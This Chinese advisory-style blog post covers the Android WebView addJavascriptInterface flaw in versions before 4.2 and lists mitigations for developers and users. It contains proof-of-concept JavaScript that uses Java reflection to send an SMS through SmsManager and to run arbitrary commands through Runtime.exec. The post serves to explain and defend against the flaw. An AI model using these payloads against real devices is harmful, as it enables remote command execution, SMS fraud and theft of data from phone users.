Android WebView 安全漏洞

近期国内爆出的 Android WebView 安全漏洞会导致大量应用成为黑客管道。漏洞危及超过 90% 的安卓手机,当用户通过存在漏洞的 APP 打开挂马网页后,可被大规模利用,包括远程操控手机窃取隐私、扣费等。

根据上网快鸟联合创始姜向前的介绍,该漏洞的原理是在 Android 的 SDK 中封装了 WebView 控件,该控件可以和使用它的应用程序结合的更加紧密,在页面内允许 JavaScript 调用 Java 代码。

这个特性带来便捷的同时也具有很大的潜在风险。

因为 Java 代码本身可以调用系统本身的很多功能,例如读写文件,拨打电话、发短信扣费等,经过精心构造,甚至可以 root 手机、安装恶意程序。系统在设计时,对可以调用的 Java 代码做了一定的限制,但是这个限制在 4.2 之前的系统上不严密,会导致限制可以被绕过,形同虚设。

出于安全考虑,为了防止 Java 层的函数被随便调用,Google 在 Android 4.2 版本之后,规定允许被调用的函数必须以 JavascriptInterface 进行注解,所以如果某应用依赖的 API Level 为 17 或者以上,就不会受该问题的影响(注:Android 4.2 中 API Level 小于 17 的应用也会受影响)。

国内大量的移动开发者都错误的调用了 WebView 控件接口,导致漏洞攻击大规模爆发。

在各 App 开发者还没有升级自己的 App 之前,建议大家使用系统自带的浏览器访问网页,并且慎重访问社交应用中陌生人发来的链接。

一、漏洞描述

近期,微信等多款安卓流行应用曝出高危挂马漏洞:只要点击好友消息或朋友圈中的一条网址,手机就会自动执行黑客指令,出现被安装恶意扣费软件、向好友发送欺诈短信、通讯录和短信被窃取等严重后果。在乌云漏洞平台上,包括安卓版微信、QQ、腾讯微博、QQ浏览器、快播、百度浏览器、金山浏览器等大批应用均被曝光同类型漏洞。

二、影响版本

Android系统版本低于4.2

三、漏洞原理

漏洞点:WebView.addJavascriptInterface(Object obj, String interfaceName) ;
漏洞触发条件:
1、使用WebView.addJavascriptInterface方法注册可供javascript调用的java对象。
2、使用WebView加载外部网页。
3、Android系统版本低于4.2
漏洞原因:
Android系统通过WebView.addJavascriptInterface方法注册可供javascript调用的java对象,以用于增强javascript的功能。但是系统并没有对注册JAVA类的方法调用的限制。导致攻击者可以利用反射机制调用未注册的其它任何JAVA类,最终导致javascript能力的无限增强。攻击者利用该漏洞可以根据客户端能力为所欲为。

四、POC代码

我们利用该漏洞调用SmsManager发送短信(被攻击APK要有短信发送权限)
WebView webview = new WebView(context);
WebSettings webset= webview.getSettings();
webset.setJavaScriptEnabled(true);
webview.addJavascriptInterface(new JSInvoke(), “jsinvoke”);
利用该漏洞的外部javascript脚本:

1
2
3
4
<script >
                var  obj_smsManager   =  jsinvoke. getClass ( ). forName ( "android.telephony.SmsManager" ). getMethod ( "getDefault" , null ). invoke ( null , null ) ;
               obj_smsManager. sendTextMessage ( "159********" , null , "test" , null , null ) ;
          </script >

出于安全考虑,为了防止Java层的函数被随便调用,Google在4.2版本之后,规定允许被调用的函数必须以@JavascriptInterface进行注解,所以如果某应用依赖的API Level为17或者以上,就不会受该问题的影响(注:Android 4.2中API Level小于17的应用也会受影响)。在各应用厂商修复该问题期间,我们建议用户暂时使用系统自带的浏览器访问网页,并且不要访问社交应用中陌生人发来的链接。

五、相关链接

http://drops.wooyun.org/papers/548
http://50.56.33.56/blog/?p=314Android的SDK中提供了一个WebView组件,用于在应用中嵌入一个浏览器来进行网页浏览。WebView组件中的addJavascriptInterface方法用于实现本地Java和JavaScript的交互。这个方法可以通过js脚本在本地执行任意Java代码,从而以当前用户身份执行任意命令。

尽管Android官方已经提醒了此功能在访问不可信网页内容时存在严重安全风险,很多应用开发人员仍未意识到此问题,大量Android应用特别是浏览器应用受到此问题影响,可能被攻击者利用来进行对Android移动终端进行网页挂马等恶意攻击行为。

分析:
======
Android下很多应用在使用WebView访问html页面时都会调用addJavascriptInterface方法,这类应用程序一般都会有类似如下的代码:

webView.addJavascriptInterface(javaObj, "jsObj");

此段代码将javaObj对象暴露给js脚本,可以通过jsObj对象对其进行引用,调用javaObj的方法。

结合Java的反射机制可以通过js脚本执行任意Java代码,相关代码如下:

<script>
function execute(cmdArgs)
{
    return jsobj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
execute(someCmd)
</script>

当受影响的应用程序执行到上述脚本的时候,就会执行someCmd指定的命令。

Android系统下许多应用程序(浏览器,微博等)使用webView进行界面展示,都有可能受到此问题的影响。

攻击者可以通过诱使受害者打开恶意网页、浏览恶意微博或者向受害者发送恶意邮件等方式来利用此漏洞,获取用户敏感信息、控制用户系统。

解决方法:
==========
对于应用厂商:

<1> 确保只在访问可信页面数据时才使用addjavascriptInterface。
<2> 在调用Java对象方法前对参数进行检查,避免执行恶意操作。
<3> 对于在4.2(API 17+)系统运行的应用,使用JavascriptInterface代替addjavascriptInterface。
<4> 限制对于该接口的使用来源,只允许可信来源访问该接口。例如使用WebViewClient中的shouldOverrideUrlLoading()来对加载的URL进行检查。

对于终端用户:

<1> 关注应用厂商更新情况,尽快升级应用程序到最新版本。
<2> 在厂商修补前,用户应尽量避免使用应用浏览不可信的网页链接和邮件。

厂商状态:
==========
Android官方已提醒此功能是有安全风险的,在可能访问不可信网页内容时需要小心处理。
Android 4.2 (api 17)已经开始采用JavascriptInterface代替addjavascriptInterface。

附加信息:
==========
1. http://drops.wooyun.org/papers/548
2. http://developer.android.com/reference/android/webkit/WebView.html
3.http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29
4. http://www.cis.syr.edu/~wedu/Research/paper/webview_acsac2011.pdf
5. http://50.56.33.56/blog/?p=314
6. http://www.nsfocus.net/index.php?act=alert&do=view&aid=139

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值